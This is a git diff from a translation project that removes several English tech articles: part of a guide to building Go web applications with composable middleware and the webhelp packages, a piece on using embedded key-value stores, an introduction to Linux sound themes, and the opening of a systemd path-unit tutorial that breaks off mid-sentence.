this is so common, the `webhelp` package defines a [GenSym()][45] helper that will create a brand new, never-before-seen, unique value for use as a context key. - -If we used [GenSym()][45], then `type userKey int` would become `var userKey = webhelp.GenSym()` and `userKey(0)` would simply become `userKey`. - -#### Back to whmux.StringArg - -Armed with this new context behavior, we can now present a `whmux.StringArg` example: - -``` -package main - -import ( - "fmt" - "net/http" - - "gopkg.in/webhelp.v1/whmux" -) - -var ( - pageName = whmux.NewStringArg() -) - -func page(w http.ResponseWriter, req *http.Request) { - name := pageName.Get(req.Context()) - - fmt.Fprintf(w, "Welcome to %s", name) -} - -func main() { - // pageName.Shift pulls the next /-delimited string out of the request's - // URL.Path and puts it into the context instead. - pageHandler := pageName.Shift(http.HandlerFunc(page)) - - http.ListenAndServe(":8080", whmux.Dir{ - "wiki": pageHandler, - }) -} -``` - -### Pre-Go-1.7 support - -Contexts let you do some pretty cool things. But let’s say you’re stuck with something before Go 1.7 (for instance, App Engine is currently Go 1.6). - -That’s okay! I’ve backported all of the neat new context features to Go 1.6 and earlier in a forwards compatible way! - -With the [whcompat][46] package, `req.Context()` becomes `whcompat.Context(req)`, and `req.WithContext(ctx)` becomes `whcompat.WithContext(req, ctx)`. The `whcompat` versions work with all releases of Go. Yay! - -There’s a bit of unpleasantness behind the scenes to make this happen. Specifically, for pre-1.7 builds, a global map indexed by `req.URL` is kept, and a finalizer is installed on `req` to clean up. So don’t change what `req.URL` points to and this will work fine. In practice it’s not a problem. - -`whcompat` adds additional backwards-compatibility helpers. In Go 1.7 and on, the context’s `Done()` channel is closed (and `Err()` is set), whenever the request is done processing. If you want this behavior in Go 1.6 and earlier, just use the [whcompat.DoneNotify][47] middleware. - -In Go 1.8 and on, the context’s `Done()` channel is closed when the client goes away, even if the request hasn’t completed. If you want this behavior in Go 1.7 and earlier, just use the [whcompat.CloseNotify][48] middleware, though beware that it costs an extra goroutine. - -### Error handling - -How you handle errors can be another cross-cutting concern, but with good application of context and middleware, it too can be beautifully cleaned up so that the responsibilities lie in the correct place. - -Problem statement: your `RequireUser` middleware needs to handle an authentication error differently between your HTML endpoints and your JSON API endpoints. You want to use `RequireUser` for both types of endpoints, but with your HTML endpoints you want to return a user-friendly error page, and with your JSON API endpoints you want to return an appropriate JSON error state. - -In my opinion, the right thing to do is to have contextual error handlers, and luckily, we have a context for contextual information! - -First, we need an error handler interface. - -``` -type ErrHandler interface { - HandleError(w http.ResponseWriter, req *http.Request, err error) -} -``` - -Next, let’s make a middleware that registers the error handler in the context: - -``` -var errHandler = webhelp.GenSym() // see the aside about context keys - -func HandleErrWith(eh ErrHandler, h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - ctx := context.WithValue(whcompat.Context(req), errHandler, eh) - h.ServeHTTP(w, whcompat.WithContext(req, ctx)) - }) -} -``` - -Last, let’s make a function that will use the registered error handler for errors: - -``` -func HandleErr(w http.ResponseWriter, req *http.Request, err error) { - if handler, ok := whcompat.Context(req).Value(errHandler).(ErrHandler); ok { - handler.HandleError(w, req, err) - return - } - log.Printf("error: %v", err) - http.Error(w, "internal server error", http.StatusInternalServerError) -} -``` - -Now, as long as everything uses `HandleErr` to handle errors, our JSON API can handle errors with JSON responses, and our HTML endpoints can handle errors with HTML responses. - -Of course, the [wherr][49] package implements this all for you, and the [whjson][49] package even implements a friendly JSON API error handler. - -Here’s how you might use it: - -``` -var userKey = webhelp.GenSym() - -func RequireUser(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { - user, err := GetUser(req) - if err != nil { - wherr.Handle(w, req, wherr.InternalServerError.New("failed to get user")) - return - } - if user == nil { - wherr.Handle(w, req, wherr.Unauthorized.New("no user found")) - return - } - ctx := r.Context() - ctx = context.WithValue(ctx, userKey, user) - h.ServeHTTP(w, req.WithContext(ctx)) - }) -} - -func userpage(w http.ResponseWriter, req *http.Request) { - user := req.Context().Value(userKey).(*User) - w.Header().Set("Content-Type", "text/html") - userpageTmpl.Execute(w, user) -} - -func username(w http.ResponseWriter, req *http.Request) { - user := req.Context().Value(userKey).(*User) - w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(map[string]interface{}{"user": user}) -} - -func main() { - http.ListenAndServe(":8080", whmux.Dir{ - "api": wherr.HandleWith(whjson.ErrHandler, - RequireUser(whmux.Dir{ - "username": http.HandlerFunc(username), - })), - "user": RequireUser(http.HandlerFunc(userpage)), - }) -} -``` - -#### Aside about the spacemonkeygo/errors package - -The default [wherr.Handle][50] implementation understands all of the [error classes defined in the wherr top level package][51]. - -These error classes are implemented using the [spacemonkeygo/errors][52] library and the [spacemonkeygo/errors/errhttp][53] extensions. You don’t have to use this library or these errors, but the benefit is that your error instances can be extended to include HTTP status code messages and information, which once again, provides for a nice elimination of cross-cutting concerns in your error handling logic. - -See the [spacemonkeygo/errors][52] package for more details. - -_**Update 2018-04-19:** After a few years of use, my friend condensed some lessons we learned and the best parts of `spacemonkeygo/errors` into a new, more concise, better library, over at [github.com/zeebo/errs][54]. Consider using that instead!_ - -### Sessions - -Go’s standard library has great support for cookies, but cookies by themselves aren’t usually what a developer thinks of when she thinks about sessions. Cookies are unencrypted, unauthenticated, and readable by the user, and perhaps you don’t want that with your session data. - -Further, sessions can be stored in cookies, but could also be stored in a database to provide features like session revocation and querying. There’s lots of potential details about the implementation of sessions. - -Request handlers, however, probably don’t care too much about the implementation details of the session. Request handlers usually just want a bucket of keys and values they can store safely and securely. - -The [whsess][55] package implements middleware for registering an arbitrary session store (a default cookie-based session store is provided), and implements helpers for retrieving and saving new values into the session. - -The default cookie-based session store implements encryption and authentication via the excellent [nacl/secretbox][56] package. - -Usage is like this: - -``` -func handler(w http.ResponseWriter, req *http.Request) { - ctx := whcompat.Context(req) - sess, err := whsess.Load(ctx, "namespace") - if err != nil { - wherr.Handle(w, req, err) - return - } - if loggedIn, _ := sess.Values["logged_in"].(bool); loggedIn { - views, _ := sess.Values["views"].(int64) - sess.Values["views"] = views + 1 - sess.Save(w) - } -} - -func main() { - http.ListenAndServe(":8080", whsess.HandlerWithStore( - whsess.NewCookieStore(secret), http.HandlerFunc(handler))) -} -``` - -### Logging - -The Go standard library by default doesn’t log incoming requests, outgoing responses, or even just what port the HTTP server is listening on. - -The [whlog][57] package implements all three. The [whlog.LogRequests][58] middleware will log requests as they start. The [whlog.LogResponses][59] middleware will log requests as they end, along with status code and timing information. [whlog.ListenAndServe][60] will log the address the server ultimately listens on (if you specify “:0” as your address, a port will be randomly chosen, and [whlog.ListenAndServe][60] will log it). - -[whlog.LogResponses][59] deserves special mention for how it does what it does. It uses the [whmon][61] package to instrument the outgoing `http.ResponseWriter` to keep track of response information. - -Usage is like this: - -``` -func main() { - whlog.ListenAndServe(":8080", whlog.LogResponses(whlog.Default, handler)) -} -``` - -#### App engine logging - -App engine logging is unconventional crazytown. The standard library logger doesn’t work by default on App Engine, because App Engine logs _require_ the request context. This is unfortunate for libraries that don’t necessarily run on App Engine all the time, as their logging information doesn’t make it to the App Engine request-specific logger. - -Unbelievably, this is fixable with [whgls][62], which uses my terrible, terrible (but recently improved) [Goroutine-local storage library][63] to store the request context on the current stack, register a new log output, and fix logging so standard library logging works with App Engine again. - -### Template handling - -Go’s standard library [html/template][64] package is excellent, but you’ll be unsurprised to find there’s a few tasks I do with it so commonly that I’ve written additional support code. - -The [whtmpl][65] package really does two things. First, it provides a number of useful helper methods for use within templates, and second, it takes some friction out of managing a large number of templates. - -When writing templates, one thing you can do is call out to other registered templates for small values. A good example might be some sort of list element. You can have a template that renders the list element, and then your template that renders your list can use the list element template in turn. - -Use of another template within a template might look like this: - -``` -
    - {{ range .List }} - {{ template "list_element" . }} - {{ end }} -
-``` - -You’re now rendering the `list_element` template with the list element from `.List`. But what if you want to also pass the current user `.User`? Unfortunately, you can only pass one argument from one template to another. If you have two arguments you want to pass to another template, with the standard library, you’re out of luck. - -The [whtmpl][65] package adds three helper functions to aid you here, `makepair`, `makemap`, and `makeslice` (more docs under the [whtmpl.Collection][66] type). `makepair` is the simplest. It takes two arguments and constructs a [whtmpl.Pair][67]. Fixing our example above would look like this now: - -``` -
    - {{ $user := .User }} - {{ range .List }} - {{ template "list_element" (makepair . $user) }} - {{ end }} -
-``` - -The second thing [whtmpl][65] does is make defining lots of templates easy, by optionally automatically naming templates after the name of the file the template is defined in. - -For example, say you have three files. - -Here’s `pkg.go`: - -``` -package views - -import "gopkg.in/webhelp.v1/whtmpl" - -var Templates = whtmpl.NewCollection() -``` - -Here’s `landing.go`: - -``` -package views - -var _ = Templates.MustParse(`{{ template "header" . }} - -

Landing!

`) -``` - -And here’s `header.go`: - -``` -package views - -var _ = Templates.MustParse(`My website!`) -``` - -Now, you can import your new `views` package and render the `landing` template this easily: - -``` -func handler(w http.ResponseWriter, req *http.Request) { - views.Templates.Render(w, req, "landing", map[string]interface{}{}) -} -``` - -### User authentication - -I’ve written two Webhelp-style authentication libraries that I end up using frequently. - -The first is an OAuth2 library, [whoauth2][68]. I’ve written up [an example application that authenticates with Google, Facebook, and Github][69]. - -The second, [whgoth][70], is a wrapper around [markbates/goth][71]. My portion isn’t quite complete yet (some fixes are still necessary for optional App Engine support), but will support more non-OAuth2 authentication sources (like Twitter) when it is done. - -### Route listing - -Surprise! If you’ve used [webhelp][27] based handlers and middleware for your whole app, you automatically get route listing for free, via the [whroute][72] package. - -My web serving code’s `main` method often has a form like this: - -``` -switch flag.Arg(0) { -case "serve": - panic(whlog.ListenAndServe(*listenAddr, routes)) -case "routes": - whroute.PrintRoutes(os.Stdout, routes) -default: - fmt.Printf("Usage: %s \n", os.Args[0]) -} -``` - -Here’s some example output: - -``` -GET /auth/_cb/ -GET /auth/login/ -GET /auth/logout/ -GET / -GET /account/apikeys/ -POST /account/apikeys/ -GET /project// -GET /project//control// -POST /project//control//sample/ -GET /project//control/ - Redirect: f(req) -POST /project//control/ -POST /project//control_named//sample/ -GET /project//control_named/ - Redirect: f(req) -GET /project//sample// -GET /project//sample//similar[/<*>] -GET /project//sample/ - Redirect: f(req) -POST /project//search/ -GET /project/ - Redirect: / -POST /project/ -``` - -### Other little things - -[webhelp][27] has a number of other subpackages: - - * [whparse][73] assists in parsing optional request arguments. - * [whredir][74] provides some handlers and helper methods for doing redirects in various cases. - * [whcache][75] creates request-specific mutable storage for caching various computations and database loaded data. Mutability helps helper functions that aren’t used as middleware share data. - * [whfatal][76] uses panics to simplify early request handling termination. Probably avoid this package unless you want to anger other Go developers. - - - -### Summary - -Designing your web project as a collection of composable middlewares goes quite a long way to simplify your code design, eliminate cross-cutting concerns, and create a more flexible development environment. Use my [webhelp][27] package if it helps you. - -Or don’t! Whatever! It’s still a free country last I checked. - -#### Update - -Peter Kieltyka points me to his [Chi framework][77], which actually does seem to do the right things with respect to middleware, handlers, and contexts - certainly much more so than all the other frameworks I’ve seen. So, shoutout to Peter and the team at Pressly! - --------------------------------------------------------------------------------- - -via: https://www.jtolio.com/2017/01/writing-advanced-web-applications-with-go - -作者:[jtolio.com][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.jtolio.com/ -[b]: https://github.com/lujun9972 -[1]: https://www.ruby-lang.org/ -[2]: http://rubyonrails.org/ -[3]: http://www.sinatrarb.com/ -[4]: https://www.python.org/ -[5]: https://www.djangoproject.com/ -[6]: http://flask.pocoo.org/ -[7]: https://golang.org/ -[8]: https://groups.google.com/d/forum/golang-nuts -[9]: https://www.reddit.com/r/golang/ -[10]: https://revel.github.io/ -[11]: https://gin-gonic.github.io/gin/ -[12]: http://iris-go.com/ -[13]: https://beego.me/ -[14]: https://go-macaron.com/ -[15]: https://github.com/go-martini/martini -[16]: https://github.com/gocraft/web -[17]: https://github.com/urfave/negroni -[18]: https://godoc.org/goji.io -[19]: https://echo.labstack.com/ -[20]: https://medium.com/code-zen/why-i-don-t-use-go-web-frameworks-1087e1facfa4 -[21]: https://groups.google.com/forum/#!topic/golang-nuts/R_lqsTTBh6I -[22]: https://www.reddit.com/r/golang/comments/1yh6gm/new_to_go_trying_to_select_web_framework/ -[23]: https://golang.org/pkg/net/http/#Handler -[24]: https://golang.org/pkg/net/http/#Request -[25]: https://golang.org/pkg/net/http/#Request.Context -[26]: https://golang.org/pkg/net/http/#Request.WithContext -[27]: https://godoc.org/gopkg.in/webhelp.v1 -[28]: https://golang.org/doc/articles/wiki/ -[29]: https://expressjs.com/ -[30]: https://nodejs.org/en/ -[31]: https://en.wikipedia.org/wiki/Cross-cutting_concern -[32]: https://github.com/gorilla/mux -[33]: https://github.com/gorilla/ -[34]: https://golang.org/pkg/net/http/#ServeMux -[35]: https://swtch.com/~rsc/ -[36]: https://github.com/rsc/tiddly -[37]: https://github.com/rsc/tiddly/blob/8f9145ac183e374eb95d90a73be4d5f38534ec47/tiddly.go#L201 -[38]: https://godoc.org/gopkg.in/webhelp.v1/whmux#Dir -[39]: https://godoc.org/gopkg.in/webhelp.v1/whmux -[40]: https://godoc.org/gopkg.in/webhelp.v1/whmux#IntArg -[41]: https://godoc.org/gopkg.in/webhelp.v1/whmux#StringArg -[42]: https://golang.org/pkg/context/ -[43]: https://blog.golang.org/context -[44]: https://godoc.org/golang.org/x/net/context -[45]: https://godoc.org/gopkg.in/webhelp.v1#GenSym -[46]: https://godoc.org/gopkg.in/webhelp.v1/whcompat -[47]: https://godoc.org/gopkg.in/webhelp.v1/whcompat#DoneNotify -[48]: https://godoc.org/gopkg.in/webhelp.v1/whcompat#CloseNotify -[49]: https://godoc.org/gopkg.in/webhelp.v1/wherr -[50]: https://godoc.org/gopkg.in/webhelp.v1/wherr#Handle -[51]: https://godoc.org/gopkg.in/webhelp.v1/wherr#pkg-variables -[52]: https://godoc.org/github.com/spacemonkeygo/errors -[53]: https://godoc.org/github.com/spacemonkeygo/errors/errhttp -[54]: https://github.com/zeebo/errs -[55]: https://godoc.org/gopkg.in/webhelp.v1/whsess -[56]: https://godoc.org/golang.org/x/crypto/nacl/secretbox -[57]: https://godoc.org/gopkg.in/webhelp.v1/whlog -[58]: https://godoc.org/gopkg.in/webhelp.v1/whlog#LogRequests -[59]: https://godoc.org/gopkg.in/webhelp.v1/whlog#LogResponses -[60]: https://godoc.org/gopkg.in/webhelp.v1/whlog#ListenAndServe -[61]: https://godoc.org/gopkg.in/webhelp.v1/whmon -[62]: https://godoc.org/gopkg.in/webhelp.v1/whgls -[63]: https://godoc.org/github.com/jtolds/gls -[64]: https://golang.org/pkg/html/template/ -[65]: https://godoc.org/gopkg.in/webhelp.v1/whtmpl -[66]: https://godoc.org/gopkg.in/webhelp.v1/whtmpl#Collection -[67]: https://godoc.org/gopkg.in/webhelp.v1/whtmpl#Pair -[68]: https://godoc.org/gopkg.in/go-webhelp/whoauth2.v1 -[69]: https://github.com/go-webhelp/whoauth2/blob/v1/examples/group/main.go -[70]: https://godoc.org/gopkg.in/go-webhelp/whgoth.v1 -[71]: https://github.com/markbates/goth -[72]: https://godoc.org/gopkg.in/webhelp.v1/whroute -[73]: https://godoc.org/gopkg.in/webhelp.v1/whparse -[74]: https://godoc.org/gopkg.in/webhelp.v1/whredir -[75]: https://godoc.org/gopkg.in/webhelp.v1/whcache -[76]: https://godoc.org/gopkg.in/webhelp.v1/whfatal -[77]: https://github.com/pressly/chi diff --git a/sources/tech/20180225 What I learnt from building 3 high traffic web applications on an embedded key value store.md b/sources/tech/20180225 What I learnt from building 3 high traffic web applications on an embedded key value store.md deleted file mode 100644 index 756b9ca878..0000000000 --- a/sources/tech/20180225 What I learnt from building 3 high traffic web applications on an embedded key value store.md +++ /dev/null @@ -1,93 +0,0 @@ -What I learnt from building 3 high traffic web applications on an embedded key value store. -============================================================ - - -![](https://cdn-images-1.medium.com/max/1600/1*_sXlAxit3i2M-FFaK_OQVg.png) - -I grew up as part of the fad that all web applications must be built on proper architecture, usually involving a well tested and stable sql database like postgres, or in some stretch cases a nosql database like mongodb. The reasons were simple: - -* They can be scaled and scaled and scaled. Very important when your application gets it’s first one billion users overnight. - -* SQL is the best way to access your data. And you always need a complicated message layer to access that data. - -* If you don’t use sql, how will you perform joins? How will you build in complicated search? How will you prevent your code from going so large with complexity that it falls and kills your cat? - - -![](https://cdn-images-1.medium.com/max/1600/1*UZfVU70VqwzFbbp50mRarQ.png) -Your cat is scared of your code. - -* Why build an application where you won’t need to employ an experienced database administrator to create your complicated schemas and perform the very important and complicated database maintenance tasks. - -In 2015, I stumbled on the golang [BoltDB database library][1], and first used to save state in basic server-side applications. Then I stumbled on [blevesearch][2], and it dawned on me. The most basic thing most databases offer is storage, and flexible search over stored data. With boltdb, I could store my data efficiently, and with bleve I could search and access my data in interesting ways. - -![](https://cdn-images-1.medium.com/max/1600/1*CAgNR4s10WtvV4CG9AFFQg.png) -blevesearch - -On this basis, I built and launched [Calabar Yellow Pages][3] on just boltDB and blevesearch, and then when I saw how smoothly it worked and scaled in production, I went on to build [Shop440][4] (A merge between Shopify and Aliexpress) on badger DB (A much faster alternative to boltdb) and blevesearch for indexing. - -### What I learnt: - -### Key Value Stores are fast - -Firstly, a NoSQL key value store is fast, much faster than a comparable relational database. Its speed comes from its simplicity. A key value database stores a data record using one primary key. The key means the record is uniquely identifiable, and can be directly accessed. Other than this, it’s up to the developer to architect any more complexity in accessing data. - - -![](https://cdn-images-1.medium.com/max/1600/1*zTzSNjtU-kudy78iZss1vw.png) - -Also, since the key value stores I used were embedded databases, I was able to strike off some of the processing that comes with more established databases. In a database like mongoDB, A lot of resources and latency goes into serializing data and passing it over the wire to the client application which then deserializes and decodes it. This is a waste of resources, especially when the client and the database are running on the same server, and not on separate servers where they would benefit from communicating over http. An embedded database strikes out all these extra serialization and even tcp transport costs. - -### Great Scalability — What About Consistency? - -Secondly, a NoSQL key value database is also highly scalable. This too is a function of its simplicity. Unlike a relational database, a NoSQL key value database is not obliged to scale vertically. It can scale over several machines or devices by several orders of magnitude, without the need for significant redesign. Financially, this is a big advantage too. - -![](https://cdn-images-1.medium.com/max/1600/1*seBbyRHICKfN87y7zq8I4A.png) - -But in my case, since using an embedded key value store, most scaling happened vertically and even sustained for a very long time. At the moment, even with a database size of almost a terabyte, the application is still holding strong. With badger, I came up with a strategy of having multiple badger databases, each representing a collection. This way, if I ever have a need to scale the system beyond a single server, I could isolate each individual database and it’s corresponding program logic into a separate micro-service. (I will write more about this in the future. ) - -### Cheap on time and effort - - -![](https://cdn-images-1.medium.com/max/1600/1*U-XNO_Q3wVffyYxpEVpfvA.png) - -Scaling a relational database solution often means that cost increases dis-proportionally; it also requires time and effort (and server downtime) to change your database schema. By comparison, a key value database keeps the price curve linear rather than exponential, and it is designed to handle data without any predefined schema. Some (not all) key value databases, like other NoSQL databases, are also designed for ‘eventual consistency’. This means that data are synchronized ‘at some point’ between copies on different machines, but not immediately. - -### Schema-Free Rows and Columns - -![](https://cdn-images-1.medium.com/max/1600/1*57qoZRSyu6H4zQHs8p3qJQ.png) - -### A case for Embedded Key Value Stores - -According to [https://www.sqlite.org/whentouse.html][5] - -> SQLite works great as the database engine for most low to medium traffic websites (which is to say, most websites). The amount of web traffic that SQLite can handle depends on how heavily the website uses its database. Generally speaking, any site that gets fewer than 100K hits/day should work fine with SQLite. The 100K hits/day figure is a conservative estimate, not a hard upper bound. SQLite has been demonstrated to work with 10 times that amount of traffic. - -> The SQLite website ([https://www.sqlite.org/][6]) uses SQLite itself, of course, and as of this writing (2015) it handles about 400K to 500K HTTP requests per day, about 15–20% of which are dynamic pages touching the database. Dynamic content uses [about 200 SQL statements per webpage][7]. This setup runs on a single VM that shares a physical server with 23 others and yet still keeps the load average below 0.1 most of the time. - -Most embedded key value stores like badger are very very much more efficient and performant than sqlite, so this could go to show how much more is possible with embedded key value stores, if sqlite can handle so much hits per day. - -Also, using an embedded key value store alongside an embedded indexing engine like Blevesearch in a compiled language like Golang, means you can truly deploy single binaries with no external dependencies and no need for post deployment setups. - -### In a nutshell - -Embedded key value stores give you all the advantages of a nosql database, but where it is lacking is in search, since you’re only able to query for items by their keys and key’s prefix. But when paired with an indexing engine like blevesearch in golang, or elasicsearch and lucene, the pair gives you a very capable database with features like full text search, location based search, etc in a very resource efficient package and scales well. - -I believe this pair should have more popularity than it actually currently has, and go a long in reducing server expenses especially with applications which never expect facebook level scale. - --------------------------------------------------------------------------------- - -via: https://hackernoon.com/what-i-learnt-from-building-3-high-traffic-web-applications-on-an-embedded-key-value-store-68d47249774f - -作者:[Anthony Alaribe ][a] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]:https://hackernoon.com/@tonyalaribe?source=post_header_lockup -[1]:https://github.com/boltdb/bolt -[2]:https://github.com/blevesearch/bleve -[3]:http://calabarpages.com/ -[4]:https://shop440.com/ -[5]:https://www.sqlite.org/whentouse.html -[6]:https://www.sqlite.org/ -[7]:https://www.sqlite.org/np1queryprob.html diff --git a/sources/tech/20180605 Sound themes in Linux- What every user should know.md b/sources/tech/20180605 Sound themes in Linux- What every user should know.md deleted file mode 100644 index 895b7355b0..0000000000 --- a/sources/tech/20180605 Sound themes in Linux- What every user should know.md +++ /dev/null @@ -1,103 +0,0 @@ -Sound themes in Linux: What every user should know -====== - -![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_penguin_green.png?itok=ENdVzW22) - -Like all modern operating systems, Linux has a set of specifications for sound themes. Sound themes are sets of similar sounds coordinated into themes that sound good together. They signal events such as switching to a different workspace, opening a new application, plugging and unplugging hardware, and alerting you when your battery is low or fully charged. The sounds that play is determined by which themes you have installed and which ones you’re currently using. If your desktop tries to play a sound your theme doesn’t have, it will play a sound from another sound theme if it can find one. - -### How do I select a sound theme? - -This is where things can get tricky. Most desktops make it easy to select a sound theme, but some are more challenging, and others can't do this at all. I’ll detail the steps for [MATE][1], my personal favorite desktop. If you use another desktop, consult your desktop’s help by pressing F1. - -#### MATE - -To select a sound theme in MATE, open the sound settings by either pressing Alt+F1, or right-arrowing to the Settings menu, down-arrowing to Preferences, right-arrowing twice to the Hardware menu and selecting the Sound menu item. If you have a Search menu installed, such as MATE menu or [Linux Mint][2] menu, simply open that menu, search for "Sound settings," and press Enter on the first result. Once the dialog is opened, tab over to the "Sound theme" combo box and select your sound theme. If you want sounds for windows and buttons to play, check the checkbox; if not, clear it. Then press Close. - -### How many sound themes are available in Linux? - -There are several sound theme options in Linux, but most are included only in select distros because those distro’s developers made the theme. There is only one theme available in all distros by default, as I'll discuss later in this article. If you want a sound theme that's not available in your distribution, you'll need to download it and copy it into the proper place. For all users, this folder is `/usr/share/sounds`; for your own personal use, it is `~/.local/share/sounds`. Most sound themes can legally be used in any Linux distribution, including the sound themes in the [Ubuntu][3], [Linux Mint][4], [elementary OS][5] and [Trisquel][6] distributions. - -### Where can I get sound themes? - -There are several websites dedicated to sound themes, desktop background themes, icon sets, and more. These include: - -#### Gnome-look - -In my opinion, [Gnome-look.org][7] is the best site in terms of selection and variety. It hosts a wide variety of sound themes, icon sets, desktop themes, desktop backgrounds, and so on. Its name is misleading; the site works for all desktops, not just GNOME. - -#### Mate-Look - -[Mate-Look.org][8], another site specific to the MATE desktop, offers a smaller but still respectable collection of sound themes, icon sets, backgrounds, and more. - -#### Linux a11y sound theme - -This is the main sound theme for the Linux accessibility organization, and I maintain the site, which you can find at [Linux-a11y-sound-theme][9]. All these sounds are free to use, and the entire sound theme is open source. It is a bit of a hodgepodge mixture, but it sounds decent. - -#### Chihuahua sound theme - -This theme is composed of various adorable sounds my chihuahua-Pekinese mix makes, recorded on GNU/Linux using various programs and converted into the proper formats. This sound theme can be cloned at `git://github.com/coffeeking/chihuahua-sound-theme`. - -#### Free desktop sound theme - -Available in all Linux distributions, this sound theme is usually installed along with your desktop of choice. I don’t have a link for this sound theme, but it is usually available in your package manager as "sound-theme-freedesktop" or something similar. This theme is meant to demonstrate what themes can do rather than as an all-inclusive theme. - -### The bad - -While the selection of sound themes is quite good, there are some problems—not with the sound themes themselves, but with the knowledge of how sound themes work and how to create them. A common problem concerns people using sounds they are not legally allowed to use, such as the sounds included in Microsoft Windows operating systems. These sounds, which are licensed (usually by Creative Commons), are legal for use only with Windows; using them with Linux is illegal. - -To address this problem, websites that offer sound themes should include clear guidelines specifying what is and is not legal to post. They should also include credit guidelines so those who create sound themes receive credit when others use their sounds. Many users don't know where to find high-quality sounds, so they use what they know. The solution is to make accessible websites offering a wide selection of sounds with clear licenses so users understand how they can and can't use these sounds. - -I’ve detailed two such sites below, but these are not the only ones. - -#### SoundBible - -[SoundBible][10] offers a plethora of good sounds, most of which are the right length for short clip tasks, like desktop sounds. All are free, though not all are free to use commercially—check the specific license that comes with a sound for details. - -#### Freesound - -[Freesound][11] also provides a wide variety of sound effects for desktop tasks and other uses. Both Freesound and SoundBible include clear licenses as well as author credits so users know who made the sound and what they can do with it. This cuts down on confusion and accidental (or deliberate) misuse of sounds. - -### Theme and naming specifications - -A big problem in open source is that many users do not know how sound themes work or how to create them. To address this, below I will link to two specifications: sound theme specifications, which explain what should be included in a sound themes index.theme file (mandatory for all sound themes), and sound-naming guidelines, which detail how sounds should be named for your desktop to find and play them. - -#### Sound theme specs - -[This specification][12] explains what’s in a sound theme’s index file, which is the file that describes the sound theme and lists the theme's name, what files it contains, and so on. Click on the `html` link under "The Sound Theme Spec" heading (ignore the "draft" comment; this specification is stable and has become standardized). - -#### Sound-naming specs - -[This specification][12] explains how sounds should be named for your desktop to find and play them. Click on the `html` link under the "The Sound Naming Spec" heading (this also has a "draft" comment, and this theme is also standardized). The site also details what file format sounds should be in. If you come across a file that is not in a proper format, you can easily convert it using applications like [SoundConverter][13] and [FFmpeg][14]. - -### Conclusion - -Like most things in open source, sound themes generally get little attention; most users don’t even notice that they are there. But for us visually impaired people and others who prefer unique computer experiences, sound themes provide a nice touch. Along with icon themes and desktop backgrounds, they showcase the talent and variety for which open source is famous. But it's important for users to understand how sound themes work and what they can and cannot do with them. - -I hope this article has been helpful. Looking forward to the next big sound theme! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/18/6/sound-themes-linux - -作者:[Kendell Clark][a] -选题:[lujun9972](https://github.com/lujun9972) -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kendell-clark -[1]:https://mate-desktop.org/themes/ -[2]:https://linuxmint.com/ -[3]:http://www.ubuntu.com/ -[4]:http://www.Linuxmint.com/ -[5]:http://www.elementaryos.org/ -[6]:http://www.trisquel.info/ -[7]:http://www.gnome-look.org/ -[8]:http://www.mate-look.org/ -[9]:http://www.github.com/coffeeking/Linux-a11y-sound-theme -[10]:http://www.soundbible.com/ -[11]:http://www.freesound.org/ -[12]:https://www.freedesktop.org/wiki/Specifications/sound-theme-spec/ -[13]:http://www.soundconverter.org/ -[14]:http://www.ffmpeg.org/ diff --git a/sources/tech/20180619 Systemd Services- Monitoring Files and Directories.md b/sources/tech/20180619 Systemd Services- Monitoring Files and Directories.md deleted file mode 100644 index 601132a33f..0000000000 --- a/sources/tech/20180619 Systemd Services- Monitoring Files and Directories.md +++ /dev/null @@ -1,152 +0,0 @@ -Systemd Services: Monitoring Files and Directories -====== - -![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/systemd-filesystem.png?itok=iGjxwoJR) - -So far in this systemd multi-part tutorial, we’ve covered [how to start and stop a service by hand][1], [how to start a service when booting your OS and have it stop on power down][2], and [how to boot a service when a certain device is detected][3]. This installment does something different yet again and covers how to create a unit that starts a service when something changes in the filesystem. For the practical example, you'll see how you can use one of these units to extend the [surveillance system we talked about last time][4]. - -### Where we left off - -[Last time we saw how the surveillance system took pictures, but it did nothing with them][3]. In fact, it even overwrote the last picture it took when it detected movement so as not to fill the storage of the device. - -Does that mean the system is useless? Not by a long shot. Because, you see, systemd offers yet another type of units, _paths_ , that can help you out. _Path_ units allow you to trigger a service when an event happens in the filesystem, say, when a file gets deleted or a directory accessed. And, overwriting an image is exactly the kind of event we are talking about here. - -### Anatomy of a Path Unit - -A systemd path unit takes the extension _.path_ , and it monitors a file or directory. A _.path_ unit calls another unit (usually a _.service_ unit with the same name) when something happens to the monitored file or directory. For example, if you have a _picchanged.path_ unit to monitor the snapshot from your webcam, you will also have a _picchanged.service_ that will execute a script when the snapshot is overwritten. - -Path units contain a new section, `[Path]`, with few more directives. First, you have the what-to-watch-for directives: - - * **`PathExists=`** monitors whether the file or directory exists. If it does, the associated unit gets triggered. `PathExistsGlob=` works in a similar fashion, but lets you use globbing, like when you use `ls *.jpg` to search for all the JPEG images in a directory. This lets you check, for example, whether a file with a certain extension exists. - * **`PathChanged=`** watches a file or directory and activates the configured unit whenever it changes. It is not activated on every write to the watched file but only when a monitored file open for for writing is changed and then closed. The associated unit is executed when the file is closed. - * **`PathModified=`** , on the other hand, does activate the unit when anything is changed in the file you are monitoring, even before you close the file. - * **`DirectoryNotEmpty=`** does what it says on the box, that is, it activates the associated unit if the monitored directory contains files or subdirectories. - - - -Then, we have `Unit=` that tells the _.path_ which _.service_ unit to activate, in case you want to give it a different name to that of your _.path_ unit; `MakeDirectory=` can be `true` or `false` (or `0` or `1`, or `yes` or `no`) and creates the directory you want to monitor before monitoring starts. Obviously, using `MakeDirectory=` in combination with `PathExists=` does not make sense. However, `MakeDirectory=` can be used in combination with `DirectoryMode=`, which you 